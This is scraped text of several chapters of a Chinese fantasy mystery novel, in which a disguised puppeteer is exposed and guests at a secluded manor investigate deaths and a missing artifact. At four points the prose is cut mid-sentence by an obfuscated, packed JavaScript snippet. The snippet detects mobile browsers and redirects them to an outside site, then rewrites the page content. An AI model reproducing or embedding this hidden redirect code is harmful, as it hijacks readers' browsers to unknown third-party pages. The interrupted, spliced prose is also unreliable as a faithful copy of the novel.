房黎儿与白瑶、晏离从门外走进来,拧眉对灵夜道:“什么你们我们,你大半夜跑来我房间想做什么?”她微微侧身,回望了一眼走廊尽头,故意捏着嗓子对楼下说:“你们究竟有什么企图?” 楼下吱呀一声,过了一会儿月婆婆从房里走出来,摸索着爬上楼。从黑暗深处,一点一点走进光亮处,走进众人的视野。她带着复杂的神色地望了一眼众人,知道此事难以隐瞒,于是平静地说道:“夜儿,回来吧。”声音一如平常厚重又嘶哑。 灵夜不自然地走到灵月身边,将她扶到桌边坐下。 “傀儡师。”晏离清冷的声音落在众人耳边,众人脸色一变,似是恍然大悟。 “傀儡师?啧啧啧,我好像听说过......对了,天界是有个族群特别擅长做木偶,市面上许多精巧的木偶都是出自他们之手。传说,他们能够制作一种人型木偶,十分精巧细致,外表看上去与常人无异。只要灌入仙力,就能像真人一般说话行动,原来如此。”孔君山从床上爬起来喃喃道:“没想到是真的。” 房黎儿抱起双臂,靠在门边上:”我说他们有问题吧,我白天的时候折腾了他们好几回,月婆婆明明行动不便,还事事都要抢着做。灵夜看上去好像一直跟着她,实际一离开我们的视线,他就僵硬地杵在一旁,根本没帮上什么忙。” 流逸犀利的目光逼向月婆婆:“你们到底是什么人?” “我们真是山庄的仆人......”月婆婆话音未落,孔君山抱着双臂冷哼一声:“还不知悔改。”他走到月婆婆身边,在月婆婆警惕的目光下,陡然拉起月婆婆的手,扯到明亮处给大家看。 灯光下,那双粗糙又暗沉的手掌,手腕内侧却细腻白皙。 月婆婆大力收回手,阴鹜地看着孔君山,眼神就像淬着毒的蛇一般:“你是什么时候发现的。”她还是这副年老体衰的样子,声音却不像先前那般喑哑,而是清亮如同少女。幽幽光线下,她的模样看上去惨淡又诡异。 “那日在书阁,你想将书从我手中取走时我就注意到了。之后我就一直在观察,你虽然看上去行动不便,需要灵夜搀扶,但做事却亲力亲为,让灵夜一直留在我们周围盯着。我们等了几日,终于等到你们露出破绽。”孔君山说道。 “哈哈哈哈哈......"月婆婆发出清脆的笑声,佝偻的身体渐渐直起,她脸上的皱纹渐渐消退,斑褐淡去,露出吹弹可破的年轻肌肤。眼睛清透灵活,唇色如春樱一般粉嫩,俨然是个和灵夜看上去差不多大的少女。 白瑶惊讶不已:“你到底是谁?” 灵夜挡在月婆婆的面前,两人外形相似,神情一致,异口同声地说道:“我不说,你们能将我如何?” “你......”房黎儿放下双臂,指着她骂道:“你若是不说清楚,那人就是你杀的。你这两日对我毕恭毕敬,是不是想让我放松警惕?大晚上摸进我房间,你们想对我做什么?” 月婆婆完全不将她放在眼里,眼中闪过一丝怨毒:“是我杀的又如何,你还能杀了我不成?” 虚云山庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137783|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中无人能在夜里行动,除了本就不是人的灵夜。 流逸与孔君山对视一眼,忽然两人猛地上前,不知从哪儿变出一根绳索,将月婆婆与灵夜五花大绑地捆在椅子上。 月婆婆虽然能够操纵灵夜,但常年扮作老人行动颇为迟缓,灵夜一人根本无法招架。 难怪她要扮作老妪,这战斗力面对外人根本无法生存。 孔君山走到她身旁幸灾乐祸地笑了笑,威胁道:“我们人多,有的是办法让你开口。你哄骗了我们这么久,还没和你计较,你最好不要敬酒不吃吃罚酒。” 月婆婆含着恨意望向孔君山,若她的眼神是刀,孔君山怕是已经被她千刀万剐了。 “你到底是谁?小峰和蜀平是不是你杀的?夜里不能出门是真的吗?”流逸紧紧盯着月婆婆问。 屋外掀起一波风浪,从门缝中灌入,月婆婆宽大的裙摆随风而动。屋内静悄悄的,大家都在小心翼翼地等着她回答。 月婆婆收回目光,幽幽说道:“我叫灵月,如你们所见,我确实是个傀儡师。我可没本事杀人。之前说的都是真的,你们若不信,现在从这小楼走出去便是。” 房黎儿问:“你为何要扮作山庄的奴仆?你也是为了神器来虚云山庄?你是什么时候进来的?” 灵月的目光在她脸上停留了一会儿,脸上渐渐浮现出一种不怀好意的讥笑:“庄主大人贵人多忘事,我为什么来,什么时候来你再清楚不过了。” 房黎儿脸色一变,她原本以为所谓的山庄主人不过是灵月的又一个障眼法,她还没来得及细问。听灵月的说法,难道庄主真的是她?她先前与灵月打过交道? 房黎儿的声音柔和了一点:“我不记得了,还要你提醒一下。” 灵月的眼神并不友善,眼中翻云覆雨,恨意毫无遮拦地倾泻而出:“你怎么能忘了,你怎么能忘了!” 晏离见她情绪波动极大,问:“你和房黎儿有何恩怨?” 灵月咬着牙看向房黎儿:“她就是个小人!当年,是她故意将神器的事泄露给外面,引人进山庄争夺神器,看别人为神器厮杀,供她取乐!她丝毫不在意别人的死活!你们都被她骗了!” 在场所有人,包括房黎儿自己都吃了一惊,她指着自己:“原来我是这样的人啊......" 灵月在椅子上挣扎着,朝她啐了一口:“别以为你忘了,我就会放过你!若不是你,我也不会在这里待上几百年!” 白瑶问:“你也是被她骗进来的?” 灵月瞪着房黎儿说:“我是为了找神器!房黎儿虚情假意邀请我进山庄,不久她就从山庄逃出去逍遥,将我困在这里代替她守着山庄!我替她守了三百年!她若是没有失忆,是不是打算永远不回来了?” 众人用各色眼光打量着房黎儿,没想到她与灵月还有这样一层渊源。面对灵月的控诉,房黎儿尴尬地扯了扯嘴角:“那也是你想要神器才会受到蛊惑,一个愿打一个愿挨的事,别推给我一个人啊。” 气氛一时陷入僵局,孔君山抱着双臂向前走了一步,看了呆在一旁面无表情的灵夜一眼,换了个话题问:“这个傀儡晚上能从小楼出去?他不会被诅咒?” 灵月尚未从对房黎儿的怨怼中抽离出来,胸口剧烈起伏几下,连带看向孔君山的目光都变得扭曲起来,但提及灵夜语气不由地柔和了几分:“他不是活物,晚上能在山庄里自由活动。当所有人不敢出门的时候,反而是他行动的大好时机。” 流逸皱了皱眉:“既然灵夜晚上能出去,他应当知道夜里究竟发生了什么。” “他有什么发现?”孔君山问。 灵月看着围在她身前的众人,眼中划过一丝兴奋:“自然是有的,呵呵。”她话音一转,吊足了胃口,咬牙道:“但是我、绝、对、不会告诉你们。” 120. 第 120 章 流逸紧绷着眉眼,紧紧盯着灵月问道:“你要神器有何用?” 灵月眼波一颤,抬眼看向他,阴郁的眼眸浮起一丝不屑:“你不也是为了神器而来?那枚神器有何用,难道你不知道?” 流逸神色未变,目光转向灵夜:“你是为了他?” 灵月看了一眼身边的灵夜,目光变得柔和起来,温声细语道:“虽然我能将木偶做得与真人一样,但他终归还是木偶。我不希望他一直浑浑噩噩,什么也不懂,我希望他能变成真真正正的人,一个有血有肉、有情有爱的人。” 灵夜木讷地靠在一边,神情专注地听着灵月说话,好像他真的能领会其中的意思。 白瑶来回打量着灵月与灵夜二人,对他们之间的感情有些愕然:“他若是变成真人,说不定就不会安稳待在你身边了,就算这样你也要他成真?” 灵月慈祥地望着灵夜,眼中似含着绵绵水波:“不会的。他会留在我身边,我知道的,他想回应我。” 房黎儿看着她打了个寒噤,无法理解灵月眼中复杂的感情,喃喃道:“什么鬼......" 而后,不论他们如何旁敲侧击,灵月都再没开口。 白瑶默默念了通讯口诀,问晏离:“师父,灵月说的是实话吗?” 半晌,空荡荡的频道里传来一声:“是。” “她为何不将夜里发生的事情告诉大家?难道她已经知道神器在哪儿了?” 清冷的声音说:“她未必知道神器在哪儿,但她知道是谁取走了神器。” 白瑶表情一惊,又很快故作镇定,将眼底的惊讶掩盖过去,但还是叫人发现了端倪。 “喂,你们两个,是在用通传术吗?”孔君山的声音突然闯入,吓得白瑶心里一跳。 白瑶不耐烦地走开几步:“关你什么事?” “有什么话不能当着大家的面说?”几人的注意力转移到白瑶与晏离身上。 房黎儿眼中露出一丝了然,看好戏一般勾起唇角:“通传术?原来某人看上去一言不发,实则话都只说给一个人听呐。真是酸死我了。” 白瑶被她烦得不行,蹙眉道:“我们没做见不得人的事,说的话也与你们无关。”话音一落,白瑶突然感觉落在她脸上的目光发生了变化,她转头看向晏离,但他目色平静无常。 房黎儿咬了下嘴唇,哼哼道:“谁知道你说的是不是真的?” 在这座与世隔绝的山庄中,他们这些陌生人之间本就不存在信任,说的话做的事都可能是假的,这种虚假已被验证了多次。 众人围审了灵月一夜,到天微微亮时已然困倦得不行,但不敢轻易给灵月松绑,于是将她抬到一楼换人看着。 房黎儿在门前伸了个懒腰,表情竟是有些怅然,偏头对隔壁的白瑶说:“现在不论发生什么我都不会奇怪了。不如你们就告诉我吧,你们到底是什么关系?”她一连几夜都没听到隔壁有动静,难道他们真的是师徒,真就没发生点什么? 白瑶本想说:你在说什么我还是个孩子啊! 不等她回答,晏离冷冷道:“没关系。”从身后将她推进房里。 房黎儿眯了眯眼呵呵一笑,掐着嗓子说:“没关系?妹妹,这等清冷出尘的仙人在跟前看得见、听得着、摸不上、睡不了,真是可惜啊,你会后悔的......” 晏离一道屏障展开,将房黎儿聒噪的声音隔绝在外,房间内突然安静下来,一时气氛有些尴尬。 房黎儿胡说八道,白瑶以前哪里想过什么摸不摸睡不睡的事情,她不自然地扭过头去偷偷看了晏离一眼,见他察觉似的望了过来,心里一动赶紧挪开视线。 在晏离侧过头去后,白瑶的目光又不自觉地跑到了他身上。 晏离确实和其他人不一样,要不她怎么会从宫里跑出来找他?只是她一直没敢有非分之想,但若是她再长大一些,以她的身份地位,好像也没什么不可以。 这么一想还挺刺激。 晏离抬眼看她:“怎么?” “倒也不是没关系......"白瑶小声嘟囔。 晏离:“......” “是正儿八经的师徒关系。”白瑶一本正经地说,然后跳上床紧紧闭上眼睛装睡。 良久,白瑶在床上翻来覆去睡不着,黑暗中,一双清冷的眸子不带感情地落在她身上。她实在受不了坐起身:“师父,我完全摸不着头绪。” “......我们是寻着魔气来这里的,但是这里没有半点魔族的痕迹,连魔气都感应不到了。我们虽然得到了很多信息,但这些信息和魔族有什么关系?” 晏离清冷的声音裹挟着一丝凉意道:“你有什么想法?” 她望着伸手不见五指的黑暗,灵动的眼睛发出淡淡的微光,突然安静下来仔细推敲着:“如果夜里只有待在小楼中才安全,那么那个魔族很可能现在就混在我们这些人中。还有一种可能,这些人里并没有魔族,那个魔族现在隐藏在小楼的某处,但我们一直没有发现。”真的有这种可能吗?这件奇怪的事情愈发诡异起来。 “虚云山庄发生的事情如若与魔域、青丘皆有关系。那和天庭呢?房黎儿体内有一丝天庭的气息,这件事会不会天庭也被牵扯进来了?”白瑶不敢细想。 “睡觉。”晏离打断她。 “啊我睡不着!到底是怎么回事?”白瑶坐在床上冥思苦想,只觉得心烦气躁,接连叹了几口气。忽然肩上一松,眼前的黑暗越发浓厚,向后倒去。 一双苍白冰冷的手在她身后托了一下,让她不至于摔的太重。 床上传来白瑶均匀的呼吸声,像是睡得很沉。 晏离的目光在她脸上停顿了几秒,向门边走去,伸手化去了房内的屏障。 白瑶一觉睡到天色大亮,睁开眼时窗外已经日光融融。窗台上铺着一层薄薄的沙,清风拂过,细碎地融入温暖的阳光中。 晏离不在屋内,白瑶很快起身下楼,除了她以外其他人几乎都在,像是在谈论什么。被绑在椅子上的灵月和灵夜疲惫地垂着脑袋,经过一日一夜的折腾,精神大不如先前。 孔君山翘着二郎腿坐在桌边别有意味地看了白瑶一眼,摇了摇头:“唉还是年轻心宽,遇上这种事还能睡得着。” 白瑶睡饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137784|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了神清气爽:“某些心眼狭小之人,思想复杂睡得少自然显老。” 孔君山脸上一僵,房黎儿哈哈大笑:“说的对,你眼角的鱼尾纹都能夹死苍蝇了。” 孔君山缓缓收敛,轻咳几声,喃喃道:“我还年轻我还年轻,我怎么可能有皱纹我不可能有皱纹。” 白瑶走到晏离身边,略带埋怨地小声说:“师父你怎么不叫醒我。” 晏离冷清的目光略微停顿了一下,说:“叫了。” 白瑶:??? “没听见也能算叫了?” 晏离反问:“为何不算?” 白瑶道:“做事情要做完整,做一半算什么事儿?” 晏离看了她一眼,那眼神仿佛在说:“你在指责为师?” 白瑶心想“算了算了别跟他一般见识,谁叫他是师父呢”。 “山庄上上下下都搜遍了,没有找到神器的踪迹,下一步应该怎么办?”孔君山挑眉看了眼流逸。 流逸身上带着一股肃杀之气,抱着剑倚靠在入口处,原本目光小楼外的院子里张望,听孔君山的话回头眯了眯眼,沉声道:“你果然也是为了神器而来。” 孔君山不以为意,语气依旧非常轻松:“来都来了,不如......见者有份?” 现下,灵月、流逸、孔君山都亮明了态度,那么剩下的人呢? 房黎儿深吸了一口气,撇撇嘴:“男人就是多事。”然后眼神一转,看向晏离:“小哥哥,你该不会也是为了神器而来吧?” 白瑶心想师父当然和你们不一样,他怎么会对一个名不经传的神器感兴趣?谁料晏离居然一本正经地承认道:“是。” 她愣了一秒,感觉屋内的氛围出现了微妙的变化,原本流逸与孔君山之间有些隐隐约约的不对付,现在两人的余光都落在了晏离身上暗暗打量。 三角格局,是最稳固的形状。而晏离的介入,让三角变成了摇摇欲坠的四角。 “哼,果然没有人会无缘无故来这个山庄,你们这种欲擒故纵的把戏我看多了。”灵月不屑地说,撕开她的真面目后,她再也不用伪装:“奉劝你们一句,老老实实待到朔月山庄的门打开就滚,没有人能找到神器并且从这里全身而退。” 孔君山哼了一声,轻蔑地瞥了他一眼:“老太婆,你不用担心,我活的一定比你久。” 灵夜突然暴起,身体欲挣脱绳子向孔君山发起进攻。孔君山看上去一副纨绔的样子,却在极短的时间内离开了凳子,一转身靠在楼梯上,抱起双臂冲灵月邪邪地笑着:“怎么,戳到你痛处了?” 白瑶这才看向灵月,见她垂在身侧的手指动了动,原来刚才是她在操纵灵夜。灵夜是个傀儡,他没有情感,也没有自主意识,怎么会主动发起攻击呢? 灵月气急:“无耻!我倒要看看你的下场如何!” 孔君山不屑一顾:“你不必激我,这儿有本事的人可多着呢。” 流逸与晏离都是不爱多言的人,从他们那里难以套话,孔君山这愣头青自然成为了下手的目标。谁知道他看上去不靠谱,心里却极有谱,也是个不好骗的主儿。 121. 第 121 章 门外日光融融,白天山里的雾气消散,露出大片葱郁的绿色。孔君山站在小楼的门边眺望远处的山景,喃喃道:“这里真的有神器吗?会不会一开始就是个骗局?” 厅堂内,灵月听了他的话脸色很不好看,她难以相信自己被莫须有的东西一骗就是三百年,一口咬定:“不可能。神器一定存在,不然为何那些夜里从小楼出去的人,没有一个能够活着回来。” 她说的不错,若不是神器的诅咒,这些年山庄来来往往数人,不可能每次夜里出行都遇到意外。 这其中一定有问题。 白瑶思忖道:“我们将山庄里里外外搜遍了,一直找不到神器,会不会是被人藏起来了?” 白瑶的目光在几人身上扫视一圈,脑海中突然灵光一现,但这种感觉就像徒手抓住了一条湿滑的泥鳅,很快就挣脱了她的意识落入黑暗的泥沼中。 “对啊,我们这么多人都找不到,会不会早就就被人拿走了?”房黎儿边琢磨边嘀咕道。 孔君山挑了下眉,对这个猜测不置可否:“若真是这样,他是什么时候取走的?” 若是前人拿到了神器,必然会在离开山庄时一并带走。那么山庄扭转乾坤的能力就会消失,不能再变换位置,也不会只在朔月才能打开大门。 他们来虚云山庄时,山庄仍是突兀地出现在深山中,并且每夜惩罚着不守规矩的客人,由此可见神器现在一定还在山庄内。 山庄内夜里无法出行,白天大家都在一起行动,所以这些人很难独自取走神器不被发现。但神器若是还在这里,会在哪儿? “不,夜里并不是无法出行的。”流逸沉声说。 灵月神情出现一丝龟裂,蹙眉高声骂道:“什么意思?你难道在怀疑我?我要是拿到了神器,还会在这里同你们消磨?” 流逸未被她的反驳打乱,对众人说道:“你们别忘了,除了灵月之外,小峰和蜀平晚上也是出去过的,虽然他们已经死了。” 白瑶倒吸一口冷气,忽然想起了一件事:“不对,第一天夜里,房黎儿也出去过。” 房黎儿瞪大了眼睛,立马反咬一口:“你又开始胡说了,我都说了那天晚上我一直待在房间里,半夜醒来看见你出门了。” 又绕回这个问题了。白瑶头疼地问:“你倒是说说,你怎么看到的?” 房黎儿眨眨眼睛,回忆中的画面渐渐清晰,她俯瞰到屋内白瑶从床上爬起,静坐了一会儿,推门出去:“我看到你偷偷摸摸爬起来,在屋内转了一圈,然后鬼鬼祟祟地推门而出。” “那是什么时候?我什么神态表情?” “这我怎么知道?夜里那么黑,我看你行踪可疑,怕都来不及了,还能一直盯着你看?” 慕小闲拧眉道:“你真的看到我推门而出了?” 他们那日所在的卧房,中间挂着一层薄雾一般的帘帐。夜里本就伸手不见五指,再加上帘帐遮挡,她若是躺在床上,怎么能看清她的动作? 房黎儿“嘶”了一声,又垂眸仔细想了片刻,犹豫道:“我确定我亲眼看见了,但我......我好像从上面望下看的?” 晏离与白瑶对视一眼,两人不约而同想到了一个地方:房梁。 小楼的结构精湛,房梁巧妙交错,除了房梁,屋顶没有其他可以落脚的地方。 那天夜里房间漆黑一片,谁会注意到房梁上有没有人? “你为什么大半夜蹲在房梁上?” 房黎儿眼中透着茫然,张了张嘴:“我......我不知道啊,难道我会梦游?” 众人回到小楼内,在房黎儿房间的房梁上发现了一层均匀的薄灰,有两处如同被截断一般,是近来蹭掉的。 “没想到美人居然会梦游。”孔君山揶揄道。 流逸望着房梁眯了眯眼,犀利的目光似乎穿过房梁回到了几天前的那一夜:“看来第一天晚上发生的事情,比我们想象的还要多。”他垂眸,目光斜斜落在灵月身上:“我只想知道那天夜里到底发生了什么?你为何隐瞒?” 灵月脸色深沉,不为所动,坚持道:“我没什么好隐瞒的。”她的目光忽而流转,抬起小巧的下巴冲他莞尔一笑:“你既然觉得我有所隐瞒,那么也应该知道这是不能说的秘密。” 流逸就要上前挟持,被灵夜挡在中途,两人对峙了一会儿,流逸偏头越过灵夜,对灵月说:“我只问你一个问题。第一天夜里,小峰是不是受到诅咒而死?” 随着他的问话,气氛犹如紧绷的琴弦一铮,余波嗡鸣不绝。 灵月意味深长地看了他一眼,微微笑道:“你猜。” 流逸退了半步,眨眼间卸了灵夜一只手臂。灵夜虽然不是真人,但也有感觉,脸上吃痛地皱了起来。 灵月瞳孔一缩,在椅子上挣扎起来,扯着绳子要和流逸拼命:“卑鄙小人!你有什么事冲我来,动他做什么?” “他只是个傀儡。”流逸冷漠地说。 灵月急红了眼,吼道:“他不是!他是活生生的人!” 流逸的手并未从灵夜的身体上离开,而是钳住了他的肩膀,似乎在要挟灵月,再次低声问道:“小峰是怎么死的,我要听真话。” 灵月咬紧牙,突然撇开目光:“不是我杀的。”灵月的回答十分古怪,偏离了她一开始引导的诅咒杀人,反而像是欲盖弥彰。 若小峰不是受到诅咒而死,便是有人杀了他。那么,是谁,为何,要杀他? 这几乎是显而易见的,一定与神器有关。 白瑶逐一扫过众人此时的神情,问:“那一夜大家都做了什么?” 孔君山瞟了晏离一眼:“我和你师父一同进了房间,那天我喝多了晚上酒气没散,所以早早就睡得不省人事,一直睡到第二天早上。晚上发生了什么,我是一点也不知道。其他的,你问你师父吧。” 那天夜里,白瑶闯进晏离的房间,确实看到孔君山在床上呼呼大睡,他连半夜白瑶的闯入也不知情,看来是真的昏睡不醒。 流逸神色坦然地说:“我一直在屋里休息,没做别的事,也没有察觉不对劲的地方。” 白瑶点点头,又看向灵月。灵月对她这样一个年轻小姑娘表现得有些轻蔑,抿了抿唇思索道:“我在屋里忙着修复灵夜的躯体,至于其他人我没注意。”灵月的房间位于二楼,他们在抓住灵月后检查过她的房间,虽然空间比其他房间大,但内侧放着几件大型器具,和一些用来做傀儡的零散部件,余下的空间不多。 所以在白瑶这里,第一天晚上拥有完整不在场证明的人只有孔君山。 “蜀平呢?他是怎么死的?”孔君山眼波一动,问道:“他并非死在外头,他的尸身可是在小楼里被发现的。” 莫非蜀平的死也有文章?房黎儿紧紧攥着自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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流逸说着,不忘看向灵月的反应,试图从她细微的表情中分辨出推论的准确性。但灵月神情泰然,仿佛吃准了只要她不开口,所有的推论都只能是推论,没有证据能够证明他们的想法是对的。 杀死小峰的凶手一时难以确认,但小峰的死一定与神器的下落有关。所以,神器现在很有可能就在杀死小峰的凶手手中。 “小峰那日的死状,浑身被利刃割伤,体无完肤。”孔君山若有若无地瞟了流逸一眼:“验尸嘛,无外乎就是查看死因和凶器。他虽然死因不明,但凶器可一目了然啊。” 孔君山的意思再明确不过,这里只有流逸的剑不离身,那把剑说不定就是凶器。他一直将凶器挂在身上,反而迷惑了大家,谁能想到凶器一直在眼前晃悠呢? 流逸犀利的目光陡然转冷,像一把冰刃刺向他,冷声道:“若是我出手,一剑便可以杀他,何需多此一举造出如此多伤口让人发现?” “嗯,这不过是你片面之词,你精通剑术,就算伪造死状也实在容易得很呐。”孔君山不着调地哼了几声,好像只是随口一说,实际上紧咬着流逸不放。 流逸皱眉,沉声道:“说话要讲证据。” 孔君山摇头晃脑,不在意地说:“我哪有什么证据,不就是看你们说的起劲儿也来凑合凑合。你们先前也没讲证据啊,不都是随便说着玩儿嘛。” 122. 第 122 章 众人沉默下来,他说的不错,他们虽然已有眉目,能够逻辑自洽,但都是空口无凭。不过在天界做事要想不落痕迹也不是不可能,他们未必能够找到证据。 房黎儿眼珠一转,突然插话:“等等。若是小峰第一日不是因为诅咒而死,蜀平第二日会不会也不是?” 白瑶追问道:“为什么这么说?” 房黎儿一顿:“我也不知道,我就是觉得小楼内是安全的,他要是诅咒而亡,应该死在小楼外面。如果他回到小楼的时候还活着,就不会遇到危险了。” 流逸问灵月:“她说的对吗?” 灵月扯了扯嘴角:“小楼内确实很安全,但诅咒因人而异。我不知道。” 孔君山说:“若蜀平不是受诅咒而死,那么他是怎么死的?他的死状可比小峰更加惨烈,这种死法怎么可能悄然无息?我们虽然在房内休息却也不是被封住了五感,竟然无一人察觉小楼内发生的事情。只有可能是诅咒!” 住在二楼的灵月、孔君山都说夜里并未听见动静。他们两人立场大相径庭,同时说谎的可能性微乎其微。那么第二夜,蜀平只有可能是因夜里出了小楼,受到神器诅咒而死。 孔君山狡黠的目光微微一动,轻叹了一口气,状似随意道:“我看这些真相、证据也没那么重要,难道我们有了证据还能给小峰伸张正义不成,大家都是为了神器而来,就别装什么正义人士了。小峰、蜀平死了就罢了,只要我们能活着出去就行。” 众人神色各异,心照不宣地没有接话。 白瑶看他们争辩不出个所以然,又念了口诀悄悄问晏离:“师父,小峰的死到底怎么回事?神器去哪儿了?” 晏离的余光落在白瑶纠结的小脸上,她拧着眉,神情认真地思索着,灵动的眼睛闪烁着微光,像夜空细碎的星星。 须臾,他将目光悄悄移开。 “神器被人取走了。” 白瑶这次学会了不露声色,故作平静地望向房内某处,在心中焦急道:“这么说,小峰第一天是因为争夺神器被人灭口的?” 许久,耳边传来一声淡淡的应答,若有似无,像一缕轻飘飘的冷风,吹进白瑶燥热的心中。白瑶眼珠一转,抬眼看了晏离一眼,疑惑道:“师父,你是怎么知道的?” 白瑶隐隐觉得不对劲,她与晏离是跟着魔族而来,两人本可以置身事外,等着看戏就是了,但现在好像只有她被置身事外。 晏离没有回应,联络很快被掐断,她仿佛被人拒之门外,心中突然涌现一股酸涩与失望,这种感觉朦胧晦涩,心里像是压着一块石头喘不过气。 她平日心事极少,忘性又大,天天没心没肺,这莫名其妙的感觉让她平白无故有些压抑,神色低迷了不少。 孔君山不经意间瞟了她一眼,似乎感受到她的情绪,打趣道:“小妹妹,你怎么像是有心事?莫非你知道了什么?” 白瑶白了他一眼,未思索太多,就带着几分怨气脱口而出:“我知道的肯定没有你多,你就算喝醉了酒,插科打诨、疯言疯语,该知道的事情也一件不少。房黎儿现在正是心思不定的时候,你怎么不趁机占她便宜,反倒要来烦我?看来你对她也没那么感兴趣。” 房黎儿一怔,望着孔君山若有所思。 孔君山微微眯了眯眼,神色不明地看了一眼晏离,转头骂骂咧咧地走开:“几个女人没一个省油的灯!我是好心问你,你不领情也就罢了,凭什么污蔑我?不要不识好歹!” 冷冷的视线落在孔君山身上,孔君山忽然感觉身后透出一股刺骨的寒意,声音卡在喉头,他略一思索,眼中浮现一丝了然,懒得回头,悻悻地溜达到别处去了。 若说刚才白瑶只是闷闷不乐,孔君山这么一闹,她算是彻底生气了。 她不明白晏离与她如此熟悉又亲近的关系,为什么要瞒着她?难道她与晏离朝夕相处,晏离对她仍有介怀? 晏离就像一座孤傲的皑皑雪山,她以为只要靠近一点,再靠近一点,他们就能熟悉起来。她未想过这座雪山会因为她而消融,若是消融了,晏离便不是晏离,何况她也没这本事。 晏离是长辈、是师父,就算相处数年,两人也一如初见般淡漠疏离。 这么说好像没错,但白瑶却隐隐觉得不舒服,心中甚至生出了一种扭曲的恶意。 他会生气吗?会悲伤吗?他有情感吗? 她想打破晏离的边界感,想破坏那层她跨不过去的屏障,想看看晏离那张冷峻的脸露出惊慌失措的样子。 晏离察觉到白瑶心里不悦,不过不知道她的情绪从何而来。白瑶天性放荡不羁、生冷不忌,是不会委屈自己的,她若真心里有事必然也不会让旁人舒服。 她若想说,谁也拦不住。她不说,晏离便不问。这是他与生俱来的素养,不冒犯他人的心思。 两人若有若无地僵持了一天,直到入夜,回到房中阖上门,白瑶才忍不住开口问:“师父,你还没回答我,你怎么知道神器已经被取走了?” 晏离的目光向门口看去,神情冷淡又专注,就在白瑶以为他没听见又将开口时,白色身影忽然像一缕薄纱轻快地飘落在她身边,伸手捂住了她的嘴,身上的清香萦绕在她的鼻尖。 随着那阵独特的气息,她仿佛掉入一场烟雨梦境。凄清的雨滴滴答答地落入心中,冰凉、晦涩、朦胧,她恍恍惚惚地呆在原地不敢乱动。 白瑶捂着嘴小声嚅动:“怎么了......” 晏离没有看她,目光沉沉地一直停留在门口,神情渐渐凝重。 白瑶顺着他的目光向外看去,不解道:“我们进来时设下了屏障,难道还有人偷听?” 晏离低头看了她一眼,眼神不似平日那般冷静,他思忖片刻,道:“我出去一会儿。”说罢,便向外走去。 白瑶赶紧拦住他,问:“师父你要出去?夜里不能出去!” 晏离神色不变:“无妨。” 白瑶困惑不已:“为什么无妨?难道诅咒是假的?” 晏离离开前留下一句:“你就待在房里,哪里也不要去。” 白瑶恍惚应了一声,既然晏离不让她出去,那她就安心睡觉。反正天塌下来,也有师父顶着。 窗外雾气弥漫,凉薄的湿意从窗缝渗透进屋内,像一只看不见的手在小楼的走廊和楼梯间游走。 白瑶翻身上床,迷瞪了一会儿,就在她昏昏欲睡时,突然感觉地面震动了一下。 咕噜一声,像是有一个不明物体从墙角一路滚向她,从她紧贴在床上的后背下方生涩又执拗地滚过去,将她的后背硬生生顶起,然后方向不变地继续滑向房间的另一侧,直到消失在墙边。 地震? 白瑶的后背膈得生疼,把她的困意搅和散了。她爬起来检查墙角,顺着刚才硬物滑动的轨迹检查了一遍,地上全无痕迹,并没有发现任何物体。 但,却留下了一丝气息。 白瑶的眼皮一跳,这种气息她算不上熟悉,但就在几日前她才刚刚见过,是那日在山里修炼时发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137786|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的残留的魔气。 这才是她追踪到这里的目的。 这座山庄到底与魔族有什么关联?这里有魔族吗?为什么她一直没有感觉到? 魔气渐渐消散,气息越来越淡。若是等晏离回来,恐怕魔气已经烟消云散,下一次出现不知还要等多久。 白瑶在黑暗中沉思了一会儿,咬了咬牙,转身偷偷摸摸地打开房门。 门外漆黑一片,渗透进屋的雾气增添了几分凉意,走廊像是一个深不见底的黑洞,安静得连她微弱的呼吸声都十分明显。 晏离不见踪迹,也没有其他人的影子。 仿佛整座小楼只剩下她一个人。 只要不出小楼应该就不会受到诅咒。白瑶深吸一口气为自己壮了壮胆向外走去,一步、两步、三步......她的轮廓渐渐融化在黑暗中。 那个从地面划过的硬物滚向了另一个房间。 那是房黎儿的房间? 白瑶侧头看过去,那间屋子没有亮灯,在黑暗中像是被隔绝了一般静谧无声。 不对,房黎儿的房间是在另一侧。 那这间屋子是? 白瑶贴在门上仔细听了听,里头似乎没有动静,她将门推开一条缝隙,眼珠转了一圈,确认此时房内没有人。 